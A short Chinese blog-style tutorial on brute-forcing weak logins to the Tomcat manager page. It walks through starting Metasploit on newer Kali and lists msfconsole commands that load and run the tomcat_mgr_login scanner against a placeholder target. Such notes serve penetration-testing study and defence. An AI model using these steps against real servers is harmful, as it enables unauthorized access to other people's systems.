对于tomcat框架的网站,默认tomcat的管理后台在http://target/manager/html 下。而如果管理员使用弱口令进行登陆的话,则可能通过爆破的方式进行登入。
据说也可以通过burpsuite的方式进行爆破,但是我用burpsuite好像没能抓到我想要的包,也就没深究(?),改用metasploit 。
我按照网站上搜索到的metasploit启动方法进行操作,发现了如上图所示的问题。继续搜索发现在kali 2.0版本之后没有了metasploit服务,所以无法service metaspoit start
。
正确的启动姿势如下:
- 第一步不变,启动postgresql数据库:/etc/init.d/postgresql start;或者 service postgresql start;
- 初始化MSF数据库(关键步骤!):msfdb init;
- 运行msfconsole:msfconsole;
- 在msf中查看数据库连接状态:db_status。
加载辅助模块
<code>
msf > search tomcat_mgr
msf > use auxiliary/scanner/http/tomcat_mgr_login
</code>
之后可用
show options
命令查看相关可设置项。设置完成之后即可开始爆破
<code>
msf auxiliary(tomcat_mgr_login) > set RHOSTS xxx.xxx.xxx.xx
msf auxiliary(tomcat_mgr_login) > set RPORT 80
msf auxiliary(tomcat_mgr_login) > run
</code>
以上就是基本的操作了。